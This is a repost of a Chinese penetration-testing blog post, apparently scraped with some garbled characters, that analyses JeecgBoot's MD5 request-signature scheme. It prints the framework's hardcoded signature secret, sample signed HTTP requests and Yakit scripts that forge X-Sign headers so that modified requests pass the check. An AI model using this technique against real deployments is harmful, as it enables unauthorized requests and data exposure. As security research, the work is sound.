勿忘初心做自己 发表于 2024-11-23 06:59:26

app&小步伐&web安全—sign签名绕过

零、前言

在web界面登陆时,小步伐和app传输数据时常常会碰到签名,会对请求的参数举行签名,如果自己修改了数据包就会校验失败非常贫苦。
本文编写的契机就是由于碰到了一个JeecgBoot的小步伐, 想请求信息泄露的url但是显示“Sign签名校验失败”,让我非常无语,得手的漏洞飞了。以是计划研究一下签名,本文讲的是md5签名,以后再研究研究aes加密传输数据啥的。
一、环境准备

本文测试环境为JeecgBoot,代码链接:jeecgboot/Github
环境配置链接:IDEA启动项目 - JeecgBoot 文档中央
配置好依赖和数据库后启动后端:org.jeecg.JeecgSystemApplication
https://img2024.cnblogs.com/blog/2855436/202411/2855436-20241123001445736-1358277563.png
启动Vue3前端,点击dev,Jeecg启动!
https://img2024.cnblogs.com/blog/2855436/202411/2855436-20241123001448008-1822834802.png
二、阅读代码(后端)

关于签名函数的位置我不太会定位,是通过网络搜索找到的。
https://img2024.cnblogs.com/blog/2855436/202411/2855436-20241123001450265-265036206.png
终极定位到SignAuthConfiguration、SignAuthInterceptor和SignUtil等类。
1. SignAuthConfiguration

SignAuthConfiguration关键代码
boolean isSigned = SignUtil.verifySign(allParams,headerSign);

if (isSigned) {
    log.debug("Sign 签名通过!Header Sign : {}",headerSign);
    return true;
}调用了verifySign举行校验签名,如果isSigned为true,签名通过。
2. SignUtil.verifySign

SignUtil.verifySign代码
public static boolean verifySign(SortedMap<String, String> params,String headerSign) {
    if (params == null || StringUtils.isEmpty(headerSign)) {
      return false;
    }
    // 把参数加密
    String paramsSign = getParamsSign(params);
    log.info("Param Sign : {}", paramsSign);
    return !StringUtils.isEmpty(paramsSign) && headerSign.equals(paramsSign);
}经过调试得出params的内容是get和post请求参数的总和:
https://img2024.cnblogs.com/blog/2855436/202411/2855436-20241123001457959-862474270.png
调用了getParamsSign来举行校验签名。
3. SignUtil.getParamsSign

SignUtil.getParamsSign关键代码
String signatureSecret = jeecgBaseConfig.getSignatureSecret();
return DigestUtils.md5DigestAsHex((paramsJsonStr + signatureSecret).getBytes("UTF-8")).toUpperCase();对http请求参数paramsJsonStr加上signatureSecret的值,举行md5运算,末了对md5值大写处置惩罚。
signatureSecret的值在org/jeecg/config/JeecgBaseConfig.java里:dd05f1c54d63749eda95f9fa6d49v442a
https://img2024.cnblogs.com/blog/2855436/202411/2855436-20241123001500854-2006169920.png
4. 末了

getParamsSign返回签名计算后的数据,verifySign对后端计算的sign和http请求头的X-Sign举行比较,如果相同则sngn校验通过,返回true。
实践一下
获取验证码处抓包,清除掉多余请求头。
POST /jeecgboot/sys/sms HTTP/1.1
Host: 192.168.171.1:3100
X-Sign: 1478A8A6639F1495342C603DC05BAEB7
X-TIMESTAMP: 1732282707313
Content-Type: application/json;charset=UTF-8

{"mobile":"13066668888","smsmode":"1"}https://img2024.cnblogs.com/blog/2855436/202411/2855436-20241123001503987-90318712.png
处置惩罚后,可以看到和X-Sign值一样。
https://img2024.cnblogs.com/blog/2855436/202411/2855436-20241123001507914-1058793234.png
以是JeecgBoot的签名逻辑就是把请求内容加上密钥,然后再举行md5计算,末了大写字符,就得到了X-Sign字符。
三、阅读代码(前端)

打开开辟者工具,全局搜索secret,可以看到签名密钥
const signatureSecret = 'dd05f1c54d63749eda95f9fa6d49v442a';https://img2024.cnblogs.com/blog/2855436/202411/2855436-20241123001512751-1041646473.png
文件位置:/src/utils/encryption/signMd5Utils.js
在signMd5Utils.js的第43行可以看到签名逻辑
return md5(JSON.stringify(requestBody) + signatureSecret).toUpperCase();https://img2024.cnblogs.com/blog/2855436/202411/2855436-20241123001516004-1333780215.png
调试后可以看出签名逻辑和后端一样,都是将请求内容加上密钥,然后md5再大写处置惩罚。
https://img2024.cnblogs.com/blog/2855436/202411/2855436-20241123001517958-1042371523.png
四、关于参数顺序的问题

上面只测试了POST请求体的参数,如果通过url传参该怎么加密呢?
这里通事后端调试可以看出,参数是按照(数字,大写字母,小写字母)的顺序来排序的。
URL的参数为:1papam=0&Zparam=1&aparam=2&nparam=3
请求体为:{"mobile":"13066668888","smsmode":"1"}
终极整合成json,得到的数据为:
{"1papam":"0","Zparam":"1","aparam":"2","mobile":"13066668888","nparam":"3","smsmode":"1"}请求
https://img2024.cnblogs.com/blog/2855436/202411/2855436-20241123001522004-2108858825.png
后端log:log.info("Param paramsJsonStr : {}", paramsJsonStr)
https://img2024.cnblogs.com/blog/2855436/202411/2855436-20241123001525532-950764165.png
五、Yak

随便写了点yakit的热加载代码,如今才知道yaklang功能很强盛,但照旧不太熟练,以是实战用处不大。
func sign(mobile) {
    return codec.Md5(f`{"mobile":"${mobile}","smsmode":"1"}dd05f1c54d63749eda95f9fa6d49v442a`).Upper()
}func sign(param) {
    return codec.Md5(f`${param}dd05f1c54d63749eda95f9fa6d49v442a`).Upper()
}https://img2024.cnblogs.com/blog/2855436/202411/2855436-20241123001532263-1051858188.png
https://img2024.cnblogs.com/blog/2855436/202411/2855436-20241123001535328-820118323.png
POST /jeecgboot/sys/sms HTTP/1.1
Host: 192.168.171.1:3100
X-Sign: {{yak(sign|{"mobile":"13066668888","smsmode":"1"})}}
X-TIMESTAMP: {{timestamp(ms)}}
Content-Type: application/json;charset=UTF-8

{"mobile":"13066668888","smsmode":"1"}https://img2024.cnblogs.com/blog/2855436/202411/2855436-20241123001539233-1124632602.png
六、参考文章

jeecg 请求url签名_signauthconfiguration
渗透测试高级本领:分析验签与前端加密
Fuzz Tag Playbook (yaklang.io)
热加载 (yaklang.io)

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: app&小步伐&web安全—sign签名绕过